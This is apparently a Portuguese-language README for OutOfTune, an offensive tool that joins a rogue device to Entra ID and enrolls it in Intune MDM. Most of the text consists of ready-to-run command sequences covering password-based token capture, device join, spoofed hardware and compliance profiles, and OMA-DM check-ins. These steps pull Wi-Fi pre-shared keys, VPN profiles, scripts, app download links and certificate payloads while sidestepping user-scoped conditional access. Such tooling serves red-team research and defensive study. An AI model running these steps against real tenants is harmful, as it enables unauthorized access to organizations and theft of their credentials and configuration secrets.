
Ferramenta de inscrição de dispositivos rogue para Entra ID e Intune MDM. Automatiza a junção de dispositivos, aquisição de token, inscrição MDM e check-in OMA-DM para extrair políticas, credenciais Wi-Fi, scripts e aplicativos, contornando o acesso condicional.
Inspirado pelo Pytune original, o OutOfTune registra um dispositivo invasor no Entra ID, inscreve-o no Intune MDM e verifica o estado de conformidade resultante.
Suporta apenas dispositivos Windows, pois este era meu objetivo principal; talvez adicione outros no futuro.
Blog de acompanhamento:
pip install -r requirements.txt
A cadeia é executada em fases, cada uma baseada no estado salvo em chain_state.json.
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
ROPC (credenciais conhecidas):
python OutOfTune.py drs-token -u [email protected] -p Password1!
Token pré-obtido:
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
Gera <NOMEDODISPOSITIVO>.pfx - o certificado do dispositivo. A senha é password.
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
Autentica no AAD como o objeto do dispositivo (não como um usuário). Ignora políticas de CA com escopo de usuário.
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
Executa a descoberta SOAP contra o endpoint MDM e, em seguida, envia uma solicitação de inscrição WS-Trust PKCS10. Gera <NOMEDODISPOSITIVO>_mdm.pfx.
Use --profile para falsificar os atributos de hardware/OS do dispositivo enviados ao Intune (consulte Perfis de Dispositivo).
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
Executa o loop OMA-DM SyncML contra r.manage.microsoft.com. O Intune enviará perfis de configuração, atribuições de aplicativos e quaisquer outras políticas direcionadas ao dispositivo. Após a conclusão do loop, as informações são automaticamente extraídas e exibidas.
Se -r for fornecido, o refresh token é trocado por um token de acesso do manage.microsoft.com e enviado como Authorization: Bearer em cada solicitação SyncML. O Intune lê o UPN deste token e o define como o usuário principal do dispositivo, fazendo com que as políticas de conformidade com escopo de usuário sejam vinculadas. Você só precisa executar uma vez com -r para que um usuário seja atribuído; todos os check-ins subsequentes podem ser executados sem um refresh token.
Sem -r, o dispositivo não terá usuário principal.
Após este check-in inicial, se você não fizer check-in novamente por um período prolongado (geralmente 5-7 dias), o dispositivo pode ficar fora de conformidade devido à política padrão "Is Active". Dependendo da configuração do Intune, o dispositivo pode entrar em um período de carência antes de ser marcado como não conforme. Se isso acontecer, execute mdm-checkin novamente. Se você usou anteriormente um refresh token para atribuir um usuário principal, isso não precisa ser enviado novamente, pois o usuário principal agora está armazenado no backend do Intune.
Re-analisar as rodadas XML brutas salvas com --save-syncml sem executar um check-in ao vivo.
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!
Gera um PRT a partir do certificado do dispositivo, troca-o por um token IWService e consulta IWService/Devices pelo estado de conformidade do dispositivo e quaisquer regras não conformes.
Use -r com um refresh token de sessão MFA se o CA do locatário exigir MFA para o recurso de inscrição.
Busca aplicativos Win32 e scripts PowerShell atribuídos ao dispositivo via IME SideCarGateway. Usa apenas o certificado do cliente MDM — nenhum token de usuário é necessário.
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
scripts/<PolicyId>.ps1apps/<AppName>/Busca scripts de remediação proativa (pares de detecção + remediação) atribuídos ao dispositivo.
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
Cada política é salva em remediations/<PolicyId>/ contendo:
detection.ps1 — o script de detecçãoremediation.ps1 — o script de remediaçãoparams.json — ID da política e quaisquer parâmetros de scriptSe a remoção do dispositivo do Intune falhar, exclua-o do Entra. Ele então entrará em um período de carência no Intune e será automaticamente removido posteriormente.
Remover o dispositivo do Intune:
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>
Remover o objeto do dispositivo do Entra ID:
python OutOfTune.py entra-delete
python OutOfTune.py status
Os atributos do dispositivo enviados ao Intune durante a inscrição e o check-in são totalmente falsificáveis através de um perfil JSON. Isso inclui identificadores de hardware, versão do SO, fabricante e todos os valores de CSP de conformidade auto-relatados (BitLocker, Firewall, Defender, TPM, Secure Boot).
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # o perfil é salvo no estado e reutilizado automaticamente
| Arquivo | Dispositivo |
|---|---|
profiles/default.json | Valores padrão (VMware / Win10 Enterprise) |
profiles/dell_win11_ent.json | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
Todos os valores de CSP DeviceStatus são auto-relatados e confiados pelo Intune sem verificação independente. As verificações de conformidade atestadas por HAS (BitLockerEnabled, SecureBootEnabled via CSP HealthAttestation) exigem um TPM real e não podem ser falsificadas desta forma.
--debug log detalhado de HTTP + tokens
--proxy <url> rotear tráfego através de um proxy (ex.: http://127.0.0.1:8080)
Estes vão antes do comando:
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
Se você tiver certificados de uma execução anterior ou quiser usar arquivos PFX específicos:
python OutOfTune.py device-token --cert path/to/device.pfx
python OutOfTune.py mdm-enroll --cert path/to/device.pfx
python OutOfTune.py mdm-checkin --cert path/to/mdm.pfx
python OutOfTune.py check --cert path/to/device.pfx
python OutOfTune.py download-apps --cert path/to/mdm.pfx
python OutOfTune.py get-remediations --cert path/to/mdm.pfx
Todas as saídas de fase são salvas em chain_state.json no diretório de trabalho. Exclua-o para começar do zero. Use status para inspecionar o estado atual sem executar nada. Se estiver lidando com vários dispositivos, certifique-se de que cada um tenha seu próprio arquivo de estado. O arquivo de estado padrão pode ser alterado no início do script para o dispositivo com o qual você está mexendo. Tenha cuidado com as opções de substituição de certificado; elas são principalmente para fins de depuração.
Uma enorme quantidade de crédito vai para @temp43487580, que criou o Pytune original e cuja pesquisa original tornou isso possível
| Flag | Descrição |
|---|
--cert FILE | PFX MDM a ser usado — o nome do dispositivo é derivado automaticamente do nome do arquivo |
-r RT | Refresh token do usuário — define o usuário principal (necessário apenas uma vez) |
-O DIR | Salvar artefatos extraídos em DIR (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json) |
--save-syncml DIR | Salvar XML SyncML bruto por rodada em DIR para análise posterior offline |
-o FILE | Escrever toda a saída do console em FILE |
| Categoria | Salvo em | Notas |
|---|
| Perfis Wi-Fi | wifi/<SSID>.xml + _psk.txt | PSK em texto puro extraído, se presente |
| Perfis VPN | vpn/<name>.xml | ProfileXML completo |
| Payloads de certificado | certs/cert_N.b64 | Blobs PFX criptografados (brutos, ainda não descriptografados) |
| Desafios SCEP | exibido | Nome do modelo CA, URL do desafio |
| Scripts | scripts/<name>.ps1 | Scripts PowerShell enviados via OMA-DM |
| URLs de download MSI | exibido | Links diretos de CDN para aplicativos LOB |
| Blob ODJ | odj_blob.b64 + odj_strings.txt | Offline Domain Join — strings legíveis extraídas |
| Valores Add | add_values.json | Todos os outros comandos Add (certificados de CA raiz, integração MDE, configuração de políticas) |
| Valores Replace | policy_values.json | Valores de CSP de política definidos pelo Intune |
| Campo | CSP | Notas |
|---|
os_version | DevDetail/SwV | Verificações de conformidade de versão mínima/máxima do SO |
os_edition_syncml | WindowsLicensing/Edition | 4 = Enterprise, 48 = Pro |
manufacturer | DevInfo/Man | Algumas políticas permitem lista de fabricantes |
mac_address | SOAP AdditionalContext/MAC | Todos zeros é um indicador óbvio |
hw_dev_id_enroll | SOAP AdditionalContext/HWDevID | 64 caracteres hexadecimais |
bitlocker_status | BitLocker/Status/DeviceEncryptionStatus | 2 = criptografado (auto-relatado) |
encryption_compliance | DeviceStatus/Compliance/EncryptionCompliance | 1 = conforme (auto-relatado) |
firewall_status | DeviceStatus/Firewall/Status | 0 = ligado (auto-relatado) |
secure_boot_state | DeviceStatus/SecureBootState | 1 = habilitado (auto-relatado, não atestado por HAS) |
tpm_version | DeviceStatus/TPM/SpecificationVersion | Nenhuma prova criptográfica |
defender_enabled | Defender/Health/DefenderEnabled | true = em execução |
defender_version | Defender/Health/DefenderVersion | Algumas políticas impõem versão mínima |